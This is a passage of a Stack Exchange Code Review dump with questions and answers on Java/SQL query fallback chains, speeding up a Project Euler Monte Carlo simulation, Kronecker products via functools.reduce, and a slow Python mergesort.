"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T12:45:02.710",
"Id": "488982",
"Score": "0",
"body": "@mateusz-sobczak Mast is right, they’re not enough stuff, at the moment, to do a proper review, I suggest that you provide more information about the structure of the database (tables, provider of the database (Oracle, MSQL, etc.)) and try to explain more the business logic of the queries."
}
] |
[
{
"body": "<p>You should ideally rewrite the ItemRepository class to return Optional and never null. Then, you can <a href=\"https://stackoverflow.com/a/38560612/589184\">create a chain of or</a>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T11:55:22.120",
"Id": "488975",
"Score": "3",
"body": "It might be better not to answer questions that have a comment indicating it is off-topic."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T11:57:02.723",
"Id": "488976",
"Score": "0",
"body": "Hello, in my opinion, it's a better choice to throw a check exception (NoSuchElementException, ect) in the repository layer in case the value is present or not. This method is more appropriate, since it will remove the need to always unwrap the `Optional` and recheck if the value is present or not in the service layer."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T09:14:24.333",
"Id": "249428",
"ParentId": "249424",
"Score": "0"
}
},
{
"body": "<p>Keeping all data-related functionalities and stuff in correct/related layer will help you to keep the business(data-consumer) layer more simple, and easier to maintain.</p>\n<p>But in otherside, implementing some complex functionalities over data layer(assuming SQL) might be very challenging. So a good balance should be there.</p>\n<p>About your case, since it looks like a chain of queries to find out some result(no complex stuffs), I suggest move all of these calls into one SQL function/procedure that will bring some notable gifts for you, such as less mess on business layer, and probably a huge performance improvements.</p>\n<p>Sample pgsql query</p>\n<pre class=\"lang-sql prettyprint-override\"><code>--drop function item_search(...)\ncreate or replace function item_search(\ntext,/*name*/\ntext,/*country code*/\ntext,/*currency code*/\n)returns table(\n_name text,\n_cnt_code text,\n_cur_code text\n) as $$\n/*first attempt, hoping it has results*/\nwith _sel0 as (select * from items where "name" = $1 and country_code=$2 and currency_code=$3 limit 11),\n/*counting the result of ^^*/\n_sel0_c as (select count(*) as "c" from _sel0),\n/*perform next query, if _sel0 ^ was empty(_sel0_c.c should be 0), using US for country code*/\n_sel1 as (select i.* from items i,_sel0_c _s0c where _s0c."c" = 0 "name" = $1 and country_code="US" and currency_code=$3 limit 11),\n.../*counting the above, and perform next query(s)*/\n...\n...\n/*finally union all results*/\nselect * from _sel0\nunion all\nselect * from _sel1\nunion all\n...\nunion all\nselect * from _seln\n$$ language sql;\n</code></pre>\n<p>Above function, performs the same code you provided, but in sql/data layer. It certainly works faster than same impl in business-layer.</p>\n<p>Now in your business layer, you have to call only one function, with required params, and only one result <code>null</code>ify check which keeps your business layer clean.</p>\n<p><strong>Business Layer(ORM/DOA) Solution</strong></p>\n<p>But if you are still insist to make in with business-layer(ORM/DOA), it's still possible(but I think it doesn't worth at the end). AM not sure if common APIs(like JPA, whatever) support for such thing since again, it's not common, but you would have you api-impl over working ORM API, to make it possible.</p>\n<p>You could go for something like <code>Value</code> type that has a pair of values, one as expected value, and one as default(when expected results null)</p>\n<p>Something like following</p>\n<pre><code>public interface Value<A>{\n A get_expected_value();\n A get_default_value();\n}\n//impls\npublic class StringValue<String>{\n...\n}\n</code></pre>\n<p>Now implement your dedicated DOA manager, where performs a query based on expected values first, and it go for default values when expected resulted empty/null results.</p>\n<p>At the end you come up with something like your code, more complicated, but a with a nice/easy API. But again, leave it to the SQL.</p>\n<p><strong>Overall</strong></p>\n<p>Object oriented is nice, ok. Design patterns make it much interesting, for sure. DOA/ORM is all essential for database stuffs, NO!</p>\n<p>ORM is nice, but as you take more high-level API for doing things, you take it easier for most common cases, but usually it' a mess(not really worth it) when it's not common(like your case).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T10:59:25.057",
"Id": "488968",
"Score": "1",
"body": "I don't know why this answer got a downvote. I would not suggest a function but one huge query that combine all the possible cases would be a good solution."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T09:19:43.527",
"Id": "249429",
"ParentId": "249424",
"Score": "2"
}
},
{
"body": "<p>As suggested by @911992, why not moving that "logic" into the database. Not as a function/stored-procedure/view but as a combination of all your queries :</p>\n<pre><code>SELECT * FROM items WHERE name=? AND country_code=? AND currencyCode=?\nUNION\nSELECT * FROM items WHERE name=? AND country_code='US' AND currencyCode=?\nUNION\nSELECT * FROM items WHERE name=? AND country_code=? AND currencyCode='USD'\nUNION\nSELECT * FROM items WHERE name=? AND country_code=? \nUNION\nSELECT * FROM items WHERE name=? AND currencyCode=?\n</code></pre>\n<p>You can limit that query to one row to avoid too much results.</p>\n<p>If want to keep everything into the code and are looking for a design pattern, you can search for the <em>chain of responsibility</em>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T12:36:19.777",
"Id": "488980",
"Score": "1",
"body": "In my opinion, this is the best way, but, I think it would be best to add another column that indicate the origin of the result (first query, second, etc.). `SELECT 'BY_SELECTED_COUNTRY' as ORIGIN,* FROM items WHERE name=? AND country_code=? AND currencyCode=?` So you would be able to filter the result (if you have rows in more than a query and want to remove the others); I’m so rusted in sql, but I think this would work."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T14:07:48.617",
"Id": "488996",
"Score": "0",
"body": "Indeed, but if the UNION returns the results in the same order as the declaration of the query, then the first line will always be the \"best\" one. Anyway, safety is always a good thing."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T11:03:40.787",
"Id": "249432",
"ParentId": "249424",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T07:02:39.260",
"Id": "249424",
"Score": "4",
"Tags": [
"java",
"design-patterns"
],
"Title": "Many DB queries and conditions"
}
|
249424
|
<p>I am trying to solve Q645. While the logic used for my code seems to be appropriate, the code itself is way too slow for the large number required in this question. May I ask for suggestion(s) to improve my code's performance?</p>
<p>The question is as in the link: <a href="https://projecteuler.net/problem=645" rel="nofollow noreferrer">https://projecteuler.net/problem=645</a></p>
<p>My Python code is as follow:</p>
<pre><code>def Exp(D):
day_list = [0]*D
num_emperor = 0
while all((d == 1 for d in day_list)) == False:
#the birthday of the emperors are independent and uniformly distributed throughout the D days of the year
bday = np.random.randint(0,D)
day_list[bday] = 1
num_emperor+=1
#indices of d in day_list where d == 0
zero_ind = (i for i,v in enumerate(day_list) if v == 0)
for ind in zero_ind:
try:
if day_list[ind-1] and day_list[ind+1] == 1:
day_list[ind] = 1
except IndexError:
if ind == 0:
if day_list[-1] and day_list[1] == 1:
day_list[0] = 1
elif ind == len(day_list)-1:
if day_list[len(day_list)-2] and day_list[0] == 1:
day_list[len(day_list)-1] = 1
return num_emperor
def my_mean(values):
n = 0
summ = 0.0
for value in values:
summ += value
n += 1
return summ/n
def monte_carlo(iters, D):
iter = 0
n_emperor = 0
while iter < iters:
n_emperor = Exp(D)
yield n_emperor
iter += 1
avg_n_emperor = my_mean(monte_carlo(iters,D))
print(avg_n_emperor)
</code></pre>
<p>And my logic is as follow:</p>
<p>For the <em>day_list</em> inside the <strong>Exp(D)</strong> function, where <em>D</em> is the number of days in a year, zeros mean no holiday, and ones mean holiday. Initially the <em>day_list</em> is all zeros since <strong>there is no holiday to begin with</strong>.</p>
<p>The rules of defining a random day (<em>d</em>) as a holiday is as follow:</p>
<ol>
<li><p>At the beginning of the reign of the current Emperor, his birthday is declared a holiday from that year onwards.</p>
</li>
<li><p>If both the day before and after a day <em>d</em> are holidays, then <em>d</em> also becomes a holiday.</p>
</li>
</ol>
<p>I then subsequently implement the rules stated for the question, to gradually add holidays (ones) into the <em>day_list</em>. After <em>num_emperor</em> number of emperors, all the days (<em>d</em>) in <em>day_list</em> will become 1, <strong>i.e. all days will become holiday</strong>. This is the point to quit the while_loop in <strong>Exp(D)</strong> function and count the number of emperors required. To get the average number of emperors required for all the days to become holidays (<em>avg_n_emperor</em>), I then apply the monte-carlo method.</p>
<p>For my current code, the time takes is as follow:</p>
<pre><code>avg_n_emperor = my_mean(monte_carlo(iters=100000,D=5)) #6-7 seconds
avg_n_emperor = my_mean(monte_carlo(iters=1000000,D=5)) #about 62 seconds
</code></pre>
<p>in which the time takes increase approx. linearly with the <em>iters</em>.</p>
<p>However,</p>
<pre><code>avg_n_emperor = my_mean(monte_carlo(iters=1000,D=365)) #about 68 seconds
</code></pre>
<p>already takes about 68 seconds, and the question is asking for D=10000. Not to mention that the <em>iters</em> required for the answer to be accurate within 4 digits after the decimal points (as required by the question) would be much larger than 1000000 too...</p>
<p>Any suggestion(s) to speed up my code would be appreciated! :)</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T10:08:16.950",
"Id": "489101",
"Score": "0",
"body": "Hey KM Goh, happy to see that my answer helped you :D Unfortunately updating or appending code to the question goes against the Question + Answer style of Code Review. As such I have rolled back the latest edit. Please see *[what you may and may not do after receiving answers](//codereview.meta.stackexchange.com/a/1765)* for guidance on where to go from here. Thanks."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T10:12:18.870",
"Id": "489102",
"Score": "0",
"body": "Hi Peilonrayz, I am sorry as I didn't know about this before. And thanks for the guidelines :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T21:34:19.313",
"Id": "489296",
"Score": "1",
"body": "I don't wish to give the answer away, as this is really quite a nice problem, but I think you need a different approach to monte carlo. Work out what the convergence will be and see what kind of performance you will require if you like. In general I would say probabilistic techniques are cool, but the precision becomes harder to reason about, I would always look for something deterministic instead. This problem is a bit like https://en.wikipedia.org/wiki/Coupon_collector%27s_problem as a very minor hint, I would suggest you study that and consider if you can adapt the arguments."
}
] |
[
{
"body": "<p>Firstly lets get your code to be a little cleaner:</p>\n<ul>\n<li><p>You can use <code>statistics.mean</code> rather than make <code>my_mean</code>.</p>\n</li>\n<li><p>You should use a <code>for</code> loop rather than a while loop in <code>monte_carlo</code>.</p>\n</li>\n<li><p>You don't need to do assign <code>n_emperer</code> at all in the function.</p>\n</li>\n<li><p><code>Exp</code> and <code>D</code> should be <code>lower_snake_case</code>. This is as they are functions and variables.</p>\n</li>\n<li><p>You should put spaces around all operators.</p>\n</li>\n<li><p>There should be a space after commas.</p>\n</li>\n<li><p>You should have some better names <code>day_list</code> could just be <code>days</code>, <code>D</code> could also be something like <code>days</code>, <code>summ</code> can be <code>total</code>, <code>iters</code> could be <code>amounts</code>.</p>\n</li>\n<li><p>You can just use <code>all(day_list)</code> rather than <code>all((d == 1 for d in day_list))</code>.</p>\n</li>\n<li><p>Do not use <code>==</code> to compare to singletons like <code>False</code>. It would be better if you instead use <code>not</code>.</p>\n</li>\n<li><p>This doesn't check if both of the values are 1 it checks if the first is truthy and the second is one. This means if you set <code>day_list[index - 1]</code> to two it'd still be true.</p>\n<blockquote>\n<pre class=\"lang-py prettyprint-override\"><code>day_list[ind - 1] and day_list[ind + 1] == 1\n</code></pre>\n</blockquote>\n<p>To check they are both equal to one you shoud use:</p>\n<blockquote>\n<pre class=\"lang-py prettyprint-override\"><code>day_list[ind - 1] == 1 and day_list[ind + 1] == 1\n</code></pre>\n</blockquote>\n<p>Here I would instead just check if they are truthy.</p>\n</li>\n<li><p>You don't need <code>if ind == 0:</code> as if <code>ind</code> is 0 then <code>ind - 1</code> will be <code>-1</code>.</p>\n</li>\n<li><p>You can just use <code>(ind + 1) % len(days)</code> to remove the need for <code>elif index == len(days)-1:</code>.</p>\n</li>\n</ul>\n<pre class=\"lang-py prettyprint-override\"><code>import random\nimport statistics\n\n\ndef simulate(days_in_year):\n days = [0] * days_in_year\n emperors = 0\n while not all(days):\n days[random.randrange(len(days))] = 1\n emperors += 1\n for index, value in enumerate(days):\n if value:\n continue\n if days[index - 1] and days[(index + 1) % len(days)]:\n days[index] = 1\n return emperors\n\n\ndef monte_carlo(amount, days):\n for _ in range(amount):\n yield simulate(days)\n\n\nprint(statistics.mean(monte_carlo(amount, days)))\n</code></pre>\n<p>Now that the code is nice and small we can focus on what is causing performance issues.</p>\n<ol>\n<li><p>The following <code>any</code> runs in <span class=\"math-container\">\\$O(n)\\$</span> time, where <span class=\"math-container\">\\$n\\$</span> is the length of <code>days</code>. This means worst case it will run however long days is each time you call it.</p>\n<pre class=\"lang-py prettyprint-override\"><code>not all(days)\n</code></pre>\n<p>We can do better than that by adding a variable in that increments each time we change a 0 to a 1. We can then compare that to <code>days_in_year</code> to see if the list is full. This will run in <span class=\"math-container\">\\$O(1)\\$</span> time causing a significant saving.</p>\n</li>\n<li><p>If a new emperor is born on an already existing holiday then no extra holidays will be made.</p>\n</li>\n<li><p>When a new emperor is born you don't need to check whether each zero can be changed, you instead only need to check two. This will cut another <span class=\"math-container\">\\$O(n)\\$</span> operation to <span class=\"math-container\">\\$O(1)\\$</span>.<br />\nSay we have the following as <code>days</code>:</p>\n<pre class=\"lang-none prettyprint-override\"><code>0123456\n1000010\n</code></pre>\n<p>If the new birthday is:</p>\n<ul>\n<li><p>6 - Because both 5 and 0 are already 1s no additional holidays can be made.</p>\n</li>\n<li><p>3 - Because 4 is a 0 and 5 is a 1, 4 can become a 1. Because 2 is a 0 but 1 is a 0 then 3 cannot become a 1.</p>\n<p>This cannot propagate outwards.</p>\n</li>\n</ul>\n</li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T16:49:27.573",
"Id": "489278",
"Score": "0",
"body": "Comments are not for extended discussion; this conversation has been [moved to chat](https://chat.stackexchange.com/rooms/113169/discussion-on-answer-by-peilonrayz-project-euler-645-speed-up-monte-carlo-si)."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T10:06:05.860",
"Id": "249430",
"ParentId": "249427",
"Score": "4"
}
},
{
"body": "<p>Welcome to Code Review. Nice implementation, easy to read and understand.</p>\n<h2>Optimization</h2>\n<p>There are some "expensive" operations that can be simplified. Below I commented the relevant parts:</p>\n<pre><code>def Exp(D):\n # the method "all" takes O(D)\n while all((d == 1 for d in day_list)) == False:\n # O(D)\n zero_ind = (i for i,v in enumerate(day_list) if v == 0) \n # O(D)\n for ind in zero_ind:\n # Here there are only O(1) operations\n return num_emperor\n</code></pre>\n<p>By <span class=\"math-container\">\\$O(D)\\$</span> I mean that in the worst case such operation will iterate <code>D</code> times, where <code>D</code> is the number of days.</p>\n<p>The condition in the while loop can be simplified by checking if the number of holidays is < days:</p>\n<pre><code>def Exp(D):\n holidays = 0\n while holidays < D:\n # increment holidays \n return num_emperor\n</code></pre>\n<p>The second optimization is to avoid the inner loops. Once the new birthday has been calculated, it's enough to "look around" that specific day:</p>\n<pre><code>def Exp(D):\n # ..\n while holidays < D:\n bday = np.random.randint(0,D)\n # Increment holidays only if birthday is not in a holiday\n if day_list[bday] == 0:\n holidays += 1\n day_list[bday] = 1\n num_emperor+=1\n\n yesterday = (bday - 1) % D\n day_before_yesterday = (bday - 2) % D\n if day_list[day_before_yesterday] == 1 and day_list[yesterday] == 0:\n day_list[yesterday] = 1\n holidays += 1\n\n tomorrow = (bday + 1) % D\n day_after_tomorrow = (bday + 2) % D\n if day_list[day_after_tomorrow] == 1 and day_list[tomorrow] == 0:\n day_list[tomorrow] = 1\n holidays += 1\n return num_emperor\n</code></pre>\n<p>The <code>%</code> operator prevents to overflow the array, so you don't need to catch exceptions.</p>\n<p>Running the average:</p>\n<pre><code>avg_n_emperor = my_mean(monte_carlo(iters=1000,D=365))\n# Output: 1173.786\n# Running time: around 2 seconds\n</code></pre>\n<p>Regarding the style, @Peilonrayz already provided an excellent review.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T10:45:16.743",
"Id": "488966",
"Score": "0",
"body": "The overall complexity is not \\$O(D^2)\\$, you don't multiply the performance of the `all` by the performance of the inner block. Another way to look at it is change the while to `while True:` and you should see your complexity fall apart to \\$O(2D)\\$ aka \\$O(D)\\$. You have not described the bound of the `while True` loop."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T11:02:15.863",
"Id": "488969",
"Score": "0",
"body": "@Peilonrayz thanks for the feedback, but I am not totally following. If the while-loop complexity is \\$O(D)\\$ (as you said in your review) and the two inner loops can be approximated to \\$O(D)\\$, what would be the overall time complexity?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T11:09:20.373",
"Id": "488970",
"Score": "0",
"body": "\"If the while-loop complexity is \\$O(D)\\$ (as you said in your review)\" As I said in my previous comment _it is not_, and I didn't say the while loop is \\$O(D)\\$ in my answer. I was talking about the `any`. Otherwise your code would now run in \\$O(1)\\$ and I think we can agree that is not the case."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T11:38:07.660",
"Id": "488972",
"Score": "0",
"body": "@Peilonrayz got it, thanks. I'll adjust the answer later to avoid confusion."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T23:17:06.493",
"Id": "489184",
"Score": "0",
"body": "Isn't the complexity of the `all(...)` O(D), and it runs `D` times? That would make the loop, including the test, O(D^2)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T14:06:09.857",
"Id": "489254",
"Score": "0",
"body": "@RootTwo The loop almost certainly runs more than D times. Challenge: Find the expected number of times it runs."
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T10:37:09.427",
"Id": "249431",
"ParentId": "249427",
"Score": "5"
}
},
{
"body": "<p>Realistically, my review would have to be <em>"That's not gonna work, you won't get the required accuracy with such an experiment. You need a different approach"</em>.</p>\n<p>But here's an O(D) time simulation. Instead of potentially generating already occurred birthdays over and over again, I focus just on <em>new</em> birthdays. That is, I shuffle all possible birthdays at the start, and then I just go through them. Of course that means I can't just do <code>emperors += 1</code>. Instead, I add the expected number of new emperors needed to come across a new birthday.</p>\n<p>With 1000 simulations, it takes my laptop about 0.6 seconds for D=365, 1.8 seconds for D=1000, or 19 seconds for D=10000.</p>\n<pre><code>from random import sample\nfrom statistics import mean\n\ndef Exp(D):\n emperors = 0\n holidays = set()\n for i, day in enumerate(sample(range(D), D)):\n emperors += D / (D - i)\n holidays.add(day)\n if (day + 2) % D in holidays:\n holidays.add((day + 1) % D)\n if (day - 2) % D in holidays:\n holidays.add((day - 1) % D)\n if len(holidays) == D:\n return emperors\n\nprint(mean(Exp(365) for _ in range(1000)))\n</code></pre>\n<p>Meh. Just tried it the <code>emperor += 1</code> way as well, that took about 1.35, 4.1 and 62 seconds instead:</p>\n<pre><code>from random import randrange\nfrom statistics import mean\n\ndef Exp(D):\n emperors = 0\n holidays = set()\n while len(holidays) < D:\n emperors += 1\n day = randrange(D)\n if day not in holidays:\n holidays.add(day)\n if (day + 2) % D in holidays:\n holidays.add((day + 1) % D)\n if (day - 2) % D in holidays:\n holidays.add((day - 1) % D)\n return emperors\n\nprint(mean(Exp(365) for _ in range(1000)))\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T18:57:08.880",
"Id": "249509",
"ParentId": "249427",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T08:27:47.273",
"Id": "249427",
"Score": "8",
"Tags": [
"python",
"performance",
"programming-challenge"
],
"Title": "Project Euler #645 -- speed up Monte-Carlo simulation in Python"
}
|
249427
|
<p>I'm working on some Python code and have a few functions which do similar things, and the only way I've found of writing them is quite ugly and not very clear.</p>
<p>In the example below, the goal is to compute the Kronecker product over a tensor chain of length <code>M</code>, in which the <code>m</code>th tensor is <code>R</code> and every other tensor is <code>J</code>.</p>
<p>Is there any nice way to rewrite this?</p>
<pre><code>def make_rotate_target(m, M, J, R):
out = J
if M == 1:
return R
else:
for i in range(M):
if i == 0:
out = J
else:
if i + 1 == m:
out = np.kron(out, R)
else:
out = np.kron(out, J)
return out
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T11:03:10.200",
"Id": "489107",
"Score": "0",
"body": "This title is too generic. Please follow the guidelines: https://codereview.stackexchange.com/help/how-to-ask ."
}
] |
[
{
"body": "<p>Assuming <code>M</code> is non-negative you can make it clear when J and R are returned and remove some of the nested if-else's.</p>\n<p>Since <code>if i+1 ==m</code> only evaluates as true if <code>m <= M</code> you could check that and use different for loops if it's true/false to make things slightly faster but I think that would decrease readability for not much gain</p>\n<pre><code>def make_rotate_target(m, M, J, R):\n if M == 0:\n return J\n\n if M == 1:\n return R\n\n out = J\n for i in range(1, M):\n if i + 1 == m:\n out = np.kron(out, R)\n else:\n out = np.kron(out, J)\n\n return out\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T17:57:42.977",
"Id": "249448",
"ParentId": "249436",
"Score": "2"
}
},
{
"body": "<p><a href=\"https://docs.python.org/3/library/functools.html#functools.reduce\" rel=\"nofollow noreferrer\"><code>functools.reduce</code></a> is what you need here:</p>\n<pre><code>from functools import reduce\n\ndef make_rotate_target(m, M, J, R):\n input_chain = [J] * M\n input_chain[m - 1] = R\n return reduce(np.kron, input_chain)\n</code></pre>\n<p>The <code>input_chain</code> list could be replaced with an iterable constructed from <code>itertools.repeat</code> and <code>itertools.chain</code> to save space.</p>\n<pre><code>from functools import reduce\nfrom itertools import repeat, chain\n\ndef make_rotate_target(m, M, J, R):\n input_chain = chain(repeat(J, m - 1), [R], repeat(J, M - m))\n return reduce(np.kron, input_chain)\n</code></pre>\n<p>The computation could be accelerated by exploiting the associative property of the Kronecker product:\n<span class=\"math-container\">$$\\underbrace{J\\otimes J\\otimes\\cdots\\otimes J}_{m-1}\\otimes R\\otimes\\underbrace{J\\otimes J\\otimes\\cdots\\otimes J}_{M-m} \\\\\n=(\\underbrace{J\\otimes J\\otimes\\cdots\\otimes J}_{m-1})\\otimes R\\otimes(\\underbrace{J\\otimes J\\otimes\\cdots\\otimes J}_{M-m}) $$</span>\n<span class=\"math-container\">$$\\underbrace{J\\otimes J\\otimes\\cdots\\otimes J}_{a + b}=(\\underbrace{J\\otimes J\\otimes\\cdots\\otimes J}_{a})\\otimes(\\underbrace{J\\otimes J\\otimes\\cdots\\otimes J}_{b})$$</span></p>\n<p>So some intermediate computation results could be reused. I'll leave the rest to you.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T14:57:10.453",
"Id": "489138",
"Score": "0",
"body": "A beautiful solution. I knew something like this was possible. I think I'll be using the `reduce` function a lot. Thanks!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T22:22:25.297",
"Id": "489175",
"Score": "1",
"body": "@DanGoldwater FYI, many `numpy` functions (but not `np.kron`) has it own implementation of `reduce` (see [doc](https://numpy.org/doc/stable/reference/generated/numpy.ufunc.reduce.html#numpy.ufunc.reduce)) that supports reduction along an axis of an `ndarray`. You may need that in some cases. BTW, you could upvote my post while accepting it as an answer."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T22:55:26.117",
"Id": "249464",
"ParentId": "249436",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249464",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T13:37:42.923",
"Id": "249436",
"Score": "3",
"Tags": [
"python",
"beginner",
"iteration"
],
"Title": "Computing the Kronecker product over a tensor chain"
}
|
249436
|
<p>My mergesort implementation currently takes a very long time, for a list with 1 million elements it takes over 130 seconds to get the list sorted.</p>
<ul>
<li><p>Could someone kindly have a look at my code and suggest what could I do to improve it?</p>
</li>
<li><p>Is there anything particular in my code that is taking significantly long?</p>
</li>
</ul>
<h3>Code</h3>
<pre><code>def splitlist(L): #splits the list to a list of individual listed elements (e.g. [1,2] to [[1],[2]])
envelop = lambda x: [x]
return(list(map(envelop,L)))
def merge(L_1,L_2): #merges two (already sorted) lists to one sorted list
N = []
while len(L_1) > 0 and len(L_2) > 0:
if L_1[0] > L_2[0]:
N += [L_2.pop(0)]
else:
N += [L_1.pop(0)]
if len(L_1) == 0:
N += L_2
else:
N += L_1
return(N)
#performs one round of pairwise merges (e.g. [[2],[1],[4],[3]] to [[1,2],[3,4]]), or [[5,10],[1,8],[2,3]] to [[1,2,3,5,8,10]])
def mergelist(L):
N = []
if len(L) % 2 == 0:
for i in range(0,len(L)//2):
N += [merge(L[2*i],L[2*i + 1])]
else:
for i in range(0,len(L)//2 - 1):
N += [merge(L[2*i],L[2*i + 1])]
N += [merge(merge(L[-3],L[-2]),L[-1])]
return(N)
def mergesort(L): #recursively performs mergelist until there is only 1 sorted list remaining
L = splitlist(L)
while len(L) > 1:
L = mergelist(L)
return(L[0])
</code></pre>
<p>Here is my code for generating the million elements:</p>
<pre><code>rlist = random.sample(range(0,2000000),1000000)
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T15:07:59.647",
"Id": "489001",
"Score": "1",
"body": "You could use `numpy.array` instead of lists, those are better optimized."
}
] |
[
{
"body": "<p>The <code>pop(0)</code> takes linear time. Do that differently, in O(1) time. The standard way uses index variables. See <a href=\"https://codereview.stackexchange.com/q/248679/228314\">this question</a>'s answers for some more pythonic ways. Or you could merge from right to left, using <code>pop()</code>, and then in the end <code>reverse()</code> the result.</p>\n<p>One way to do the latter:</p>\n<pre><code>def merge(L1, L2):\n """Merges two (already sorted) lists to one sorted list."""\n N = []\n while L1 and L2:\n L = L1 if L1[-1] > L2[-1] else L2\n N.append(L.pop())\n N.reverse()\n N[:0] = L1 or L2\n return N\n</code></pre>\n<p>Other changes I did and which you can apply in the other parts of your code as well:</p>\n<ul>\n<li>Removed the underscores from the variables, I think it reads better. I kept them upper case because for <code>L</code>, that's what <a href=\"https://www.python.org/dev/peps/pep-0008/#names-to-avoid\" rel=\"nofollow noreferrer\">PEP 8 says</a>. And then I kept <code>N</code> for consistency. Usually I'd use <code>result</code> or maybe <code>merged</code>. Don't know why you chose <code>N</code>. If you have a meaningful word that starts with "n", then I suggest using that.</li>\n<li>Space between the function parameters.</li>\n<li>Proper docstring format instead of comment.</li>\n<li>Replaced <code>len(L_1) > 0</code> with the normal <code>L1</code> non-emptiness check.</li>\n<li>Replaced <code>N += [x]</code> with the normal <code>N.append(x)</code>.</li>\n</ul>\n<p>Just another way, replacing that one "long" line to determine <code>L</code> with a clearer but slower way:</p>\n<pre><code>def merge(L1, L2):\n """Merges two (already sorted) lists to one sorted list."""\n N = []\n def last(L):\n return L[-1]\n while L1 and L2:\n L = max(L2, L1, key=last)\n N.append(L.pop())\n N.reverse()\n N[:0] = L1 or L2\n return N\n</code></pre>\n<p>For some fun, two list comprehension hacks:</p>\n<pre><code>def merge(L1, L2):\n """Merges two (already sorted) lists to one sorted list."""\n def end(L):\n return L[-1:]\n return [max(L2, L1, key=end).pop() for _ in L1 + L2][::-1]\n</code></pre>\n<pre><code>def merge(L, R):\n """Merges two (already sorted) lists to one sorted list."""\n return [(R, L)[L[-1:] > R[-1:]].pop() for _ in L + R][::-1]\n</code></pre>\n<p>And I don't want to leave without a much faster way:</p>\n<pre><code>def merge(L1, L2):\n """Merges two (already sorted) lists to one sorted list."""\n return sorted(L1 + L2)\n</code></pre>\n<p>That's O(n) because of Timsort. And <em>fast</em> O(n) because of C code. If you think using the mighty <code>sorted</code> inside a mergesort defeats the purpose of writing the mergesort in the first place: Even that can be meaningful, if you're not just doing mergesort. At least once I wrote a mergesort with embedded counting of something, and I indeed used <code>sorted</code> just for the merging. Because that made my solution faster/shorter/simpler.</p>\n<p>Even more efficient (both space and time):</p>\n<pre><code>def merge(L1, L2):\n """Merges two (already sorted) lists to one sorted list."""\n L1 += L2\n L1.sort()\n return L1\n</code></pre>\n<p>(If <code>L2</code> can be longer than <code>L1</code>, it might be advantageous to insert <code>L1</code> into <code>L2</code> instead.)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T15:13:55.040",
"Id": "489004",
"Score": "1",
"body": "This is great thank you. Managed to get it to just over 10 seconds by merging from right to left"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T15:18:35.327",
"Id": "489005",
"Score": "1",
"body": "Um, could someone tell me why this deserves a downvote? How is this not useful?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T16:03:45.587",
"Id": "489017",
"Score": "1",
"body": "(It was downvoted when it was only the first paragraph, before I added the rest. Still wondering how that first paragraph fits the \"This answer is not useful\" that the downvote button represents.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T16:59:11.583",
"Id": "489024",
"Score": "0",
"body": "For the list comprehension, what does the underscore in the last line mean?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T17:19:12.403",
"Id": "489026",
"Score": "1",
"body": "@NishilPatel That's the conventional placeholder variable name for when you don't actually use the value. Here I don't. I just do `L1 + L2` to get the *number* of elements, so that the list comprehension has the correct length. At that place, I don't care what the elements are, so I assign them to `_`."
},
{
"ContentLicense": "CC BY-SA 4.0",
